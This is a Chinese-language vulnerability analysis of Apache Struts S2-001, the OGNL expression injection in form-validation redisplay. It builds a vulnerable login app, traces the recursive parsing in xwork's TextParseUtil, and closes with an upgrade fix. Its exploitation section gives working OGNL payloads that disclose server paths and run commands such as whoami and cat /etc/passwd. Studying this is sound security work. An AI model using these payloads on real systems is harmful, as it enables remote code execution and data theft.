S2-001漏洞分析

S2-001漏洞分析

1.漏洞描述

該漏洞因用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用OGNL表達式%{value}進行解析,然後重新填充到對應的表單數據中。如註冊或登錄頁面,提交失敗後一般會默認返回之前提交的數據,由於後端使用%{value}對提交的數據執行了一次OGNL 表達式解析,所以可以直接構造 Payload進行命令執行。

2.影響版本

Struts 2.0.0 - Struts 2.0.8

3.漏洞詳情

首先寫一個漏洞利用環境,代碼結構如下:

LoginAction.java源碼:

package com.cy.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport{
  
	private static final long serialVersionUID = 1L;
	private String username ;
	private String password ;
  
	public String getUsername(){
		return this.username;
	}
  
	public String getPassword(){
		return this.password;
	}
  
	public void setUsername(String username){
		this.username = username;
	}
  
	public void setPassword(String password){
		this.password = password;
	}
  
	public String execute() throws Exception{
		if (this.username == null || this.username == "" ||this.password == null || this.password == "") {
			return "error";
		}
		
		if ((this.username.equals("admin")) && (this.password.equals("123456"))) {
			return "success";
		}else {
			return "error";
		}
		
	}
}

struts.xml源碼:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC  
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"  
    "http://struts.apache.org/dtds/struts-2.0.dtd"> 
<struts>
	<package name="S2-001" extends="struts-default">
		<action name="login" class="com.cy.demo.action.LoginAction" method="execute">
			<result name="success">/welcome.jsp</result>
			<result name="error">/index.jsp</result>
		</action>
	</package>
</struts>

web.xml源碼:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

    <display-name>S2-001</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

index.jsp源碼:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>用戶登錄</h2>

<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp源碼:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>welcome</title>
</head>
<body>
 <h2>welcome,<s:property value="username"></s:property></h2>
</body>
</html>

/org/apache/struts2/views/jsp/ComponentTagSupport.java

爲了比較容易理解,我們這裏從對<s:textfield name="password" label="password" />的解析開始說起,doStartTag()會對jsp標籤進行解析,後面會跳轉到doEndTag(),跟進component.end()最後到達UIBean.java。

跟入evaluateParams(),由於開啓了altSyntax,expr會由之前的password變爲爲%{password}。接着跟入findValue()方法來到了Component.java。

由於開啓了altSyntax,而且toType是class.java.lang.string,所以程序會進入TextParseUtil.translateVariables()。

接下來使用的源碼位於xwork-2.0.3.jar,跟進上面的translateVariables()到/com/opensymphony/xwork2/util/TextParseUtil.java。

我們繼續跟入translateVariables()方法,我們可以看到translateVariables()方法遞歸解析了表達式,在處理完%{password}後將password的值直接取出並繼續在while循環中解析,如果用戶輸入惡意的ognl表達式,如%{1+2},最後會在Object o = stack.findValue(var, asType)得以解析執行。

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
            
            Object result = expression;

            while (true) {
                int start = expression.indexOf(open + "{");
                int length = expression.length();
                int x = start + 2;
                int end;
                char c;
                int count = 1;
                while (start != -1 && x < length && count != 0) {
                    c = expression.charAt(x++);
                    if (c == '{') {
                        count++;
                    } else if (c == '}') {
                        count--;
                    }
                }
                end = x - 1;

                if ((start != -1) && (end != -1) && (count == 0)) {
                    String var = expression.substring(start + 2, end);

                    Object o = stack.findValue(var, asType);
                    if (evaluator != null) {
                        o = evaluator.evaluate(o);
                    }


                    String left = expression.substring(0, start);
                    String right = expression.substring(end + 1);
                    if (o != null) {
                        if (TextUtils.stringSet(left)) {
                            result = left + o;
                        } else {
                            result = o;
                        }

                        if (TextUtils.stringSet(right)) {
                            result = result + right;
                        }

                        expression = left + o + right;
                    } else {
                        result = left + right;
                        expression = left + right;
                    }
                } else {
                    break;
                }
            }

            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

4.漏洞利用

(1)輸入%{1+2},返回3證明漏洞存在。

(2)獲取tomcat執行路徑

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

(3)獲取web路徑

%{ #[email protected]@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

(4)執行命令

執行whoami:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

彈計算器:

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

執行任意命令時,如果所執行的命令需要組合,則可如下:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

值得一提的是,表單驗證錯誤只是這個漏洞出現的場景之一,並不是該漏洞的產生的原因。在實際場景中,比如登陸等位置,往往會配置了Validation(限制用戶名長度等),驗證出錯時,就會原樣返回用戶輸入的值而不會跳轉到新的頁面,這樣就有可能發生此漏洞。

5.漏洞修復

升級xwork-2.0.3.jar到2.0.4以上,在xwork-2.0.4中由於改變了ognl表達式的解析方法,從而不會產生遞歸解析,這樣用戶的輸入也不會被解析執行。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章